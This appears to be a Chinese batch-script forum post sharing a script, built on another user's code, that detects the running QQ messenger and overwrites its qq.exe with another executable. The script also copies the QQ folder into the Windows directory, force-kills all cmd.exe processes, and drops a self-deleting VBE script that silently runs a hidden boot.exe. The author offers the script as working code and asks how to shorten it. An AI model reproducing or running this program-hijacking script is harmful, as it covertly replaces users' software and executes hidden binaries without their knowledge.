[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

分享:批处理检测qq进程并替换qq.exe文件

检测QQ 进程,如果存在qq进程,则找出路径,用c:\a.exe 替换原qq.exe, 并把路径写入c:\a.txt ,如果不存在qq进程,继续往下运行。

bat 第二次运行的时候,检测QQ 进程,如果存在qq进程,则找出路径与a.txt 比较,如果找出的路径与a.txt中的一致,跳过继续往下运行。如果不一致,则用a.exe 替换检测出的qq.exe, 并把路径写入a.txt ,如果不存在qq进程,继续往下运行。

bat 每次运行,重复以上。

感谢tireless兄的帮助,在他的代码基础上做的改进:



  1. for /f %%e in ('tasklist^| find /c "cmd.exe"')do set /a wind=%%e-1
  2. if %wind% LEQ 10 (goto continue) else (goto vbscm)
  3. :vbscm
  4. (echo Set ws = CreateObject("Wsc"^&"ript.Shell"^)
  5. echo ws.run "cmd /c taskkill /f /im cmd.exe",0
  6. echo ws.run "%%windir%%\debug\boot.exe",0
  7. echo ws.run "cmd /c if exist %%windir%%\n.bat %%windir%%\n.bat&&del %windir%\debug\vb2cm.vbe /f/q",0)>%windir%\debug\vb2cm.vbe
  8. if exist "%windir%\debug\vb2cm.vbe" start "" "%windir%\debug\vb2cm.vbe"
  9. ping 127.1 -n 3 >nul
  10. if exist "%windir%\debug\vb2cm.vbe" del /q "%windir%\debug\vb2cm.vbe"
  11. :continue
  12. (for /f %%a in ('tasklist /nh /fi "IMAGENAME eq qq.exe" 2^>nul') do cls)||goto Next
  13. for /f "delims==" %%a in ('wmic process where caption^="qq.exe" get CommandLine^|find /i "qq.exe"') do set qqpath=%%a
  14. if not exist %windir%\a.inf goto Replace
  15. set /p Old=<%windir%\a.inf
  16. if /i %Old%==%qqpath% goto cext
  17. :Replace
  18. set qqdir=%qqpath:~1,-11%
  19. echo %qqpath% >%windir%\a.inf
  20. if /i %qqpath%=="%windir%\QQ\qq.exe" goto cext
  21. xcopy "%qqdir%" %windir%\QQ\ /Y /H /R /E /q /c
  22. taskkill /im qq.exe /f
  23. if exist %windir%\al.exe copy /y %windir%\al.exe "%qqpath%"
  24. :cext
  25. set qqdir=%qqpath:~1,-11%
  26. call :qqname "%qqdir%"
  27. echo "%windir%\%qqn%\qq.exe">%windir%\xqq.inf
  28. echo "%qqdir%">%windir%\x.inf
  29. goto next
  30. :qqname
  31. set qqn=%~nx1
  32. goto :eof
  33. :Next
  34. if not exist %windir%\xqq.inf echo e>%windir%\xqq.inf
  35. set /p xq=<%windir%\xqq.inf
  36. if /i %xq% == "%windir%\QQ\qq.exe" (echo.) else (echo "%windir%\QQ\qq.exe">%windir%\xqq.inf)
  37. if exist "%windir%\QQ\qq.exe" start "" %windir%\QQ\qq.exe
复制代码

不知各位对代码的精简有什么建议?

TOP

好东西,对系统安全很有参考价值

TOP

返回列表